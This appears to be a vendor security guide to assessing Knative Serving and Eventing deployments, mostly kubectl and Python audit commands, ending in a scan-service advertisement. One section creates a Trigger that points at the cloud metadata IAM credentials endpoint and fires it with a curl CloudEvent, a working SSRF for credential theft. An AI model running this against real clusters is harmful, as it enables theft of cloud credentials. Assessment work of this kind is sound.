Knative extends Kubernetes with serverless capabilities through Knative Serving (HTTP request-driven workloads that scale to zero) and Knative Eventing (event-driven architectures using CloudEvents). Security concerns unique to Knative include the scale-to-zero model creating cold start timing attacks, traffic splitting enabling shadow request capture, CloudEvents broker/trigger acting as an SSRF amplifier when sinks accept arbitrary URLs, permissive pod security allowing privileged container deployment, and RBAC policies that grant excessive service create/update permissions enabling arbitrary workload deployment. This guide covers systematic Knative security assessment.
# Knative Serving manages serverless workloads (Services, Configurations, Revisions)
# Test what can be deployed and how containers are configured
# List all Knative Services
kubectl get ksvc -A 2>/dev/null | grep -v "^NAMESPACE"
# Get Knative Service details including pod spec
kubectl get ksvc payment-api -n production -o json 2>/dev/null | python3 -c "
import json,sys
r = json.load(sys.stdin)
spec = r.get('spec',{}).get('template',{}).get('spec',{})
containers = spec.get('containers',[])
for c in containers:
sc = c.get('securityContext',{})
print(f'Container: {c.get(\"name\",\"?\")}')
print(f' Privileged: {sc.get(\"privileged\",False)}')
print(f' runAsRoot: {sc.get(\"runAsNonRoot\",True) == False}')
print(f' AllowPrivilegeEsc: {sc.get(\"allowPrivilegeEscalation\",True)}')
print(f' Capabilities add: {sc.get(\"capabilities\",{}).get(\"add\",[])}')
"
# Check autoscaling configuration
kubectl get ksvc -A -o json 2>/dev/null | python3 -c "
import json,sys
r = json.load(sys.stdin)
for svc in r.get('items',[]):
annotations = svc.get('spec',{}).get('template',{}).get('metadata',{}).get('annotations',{})
min_scale = annotations.get('autoscaling.knative.dev/minScale','0')
if min_scale == '0':
name = svc['metadata']['name']
ns = svc['metadata']['namespace']
print(f'Scale-to-zero enabled: {ns}/{name} (cold start timing attacks possible)')
"
# Knative Eventing routes CloudEvents through Brokers and Triggers to Sinks
# If a Trigger sink URL is user-controlled, it acts as an SSRF vector
# List all Triggers and their sink URLs
kubectl get triggers -A -o json 2>/dev/null | python3 -c "
import json,sys
r = json.load(sys.stdin)
for t in r.get('items',[]):
ns = t['metadata']['namespace']
name = t['metadata']['name']
subscriber = t.get('spec',{}).get('subscriber',{})
uri = subscriber.get('uri','')
ref = subscriber.get('ref',{})
print(f'Trigger: {ns}/{name}')
if uri:
print(f' Sink URI: {uri}')
else:
print(f' Sink Ref: {ref.get(\"kind\",\"?\")} {ref.get(\"name\",\"?\")}')
"
# If you can create a Trigger (requires eventing.knative.dev/triggers:create permission):
# Create a Trigger pointing to an internal service URL for SSRF
cat << 'EOF' | kubectl apply -f - 2>/dev/null
apiVersion: eventing.knative.dev/v1
kind: Trigger
metadata:
name: ssrf-trigger
namespace: test-namespace
spec:
broker: default
subscriber:
uri: http://169.254.169.254/latest/meta-data/iam/security-credentials/
EOF
# Send a CloudEvent to the broker (triggers the SSRF)
curl -v "http://broker-ingress.knative-eventing.svc.cluster.local/test-namespace/default" \
-X POST \
-H "Ce-Specversion: 1.0" \
-H "Ce-Type: test.probe" \
-H "Ce-Source: /test" \
-H "Ce-Id: probe-001" \
-H "Content-Type: application/json" \
-d '{}' 2>/dev/null | head -10
minScale: 1 for security-sensitive services — prevents cold start timing inferenceserving.knative.dev and eventing.knative.dev| Security Test | Method | Risk |
|---|---|---|
| Privileged container in Knative Service | Check securityContext on Knative Service pod template | Critical |
| RBAC allows arbitrary Knative Service deployment | Test service create/update in restricted namespaces | High |
| Trigger sink URI SSRF | Create Trigger with internal metadata URL as sink | High |
| Traffic split capturing shadow traffic | Create revision receiving 0% traffic — still gets shadow requests | Medium |
| Knative Service accessible without auth | curl Knative Service URL without credentials | Medium |
| Scale-to-zero cold start timing oracle | Measure response time differences for cold vs warm requests | Low |
Ironimo tests Knative deployments for container privilege escalation, RBAC over-privilege enabling arbitrary workload deployment, CloudEvents SSRF via Trigger sink manipulation, traffic split shadow capture, ingress gateway bypass, and pod security misconfigurations across Serving and Eventing components.
Start free scan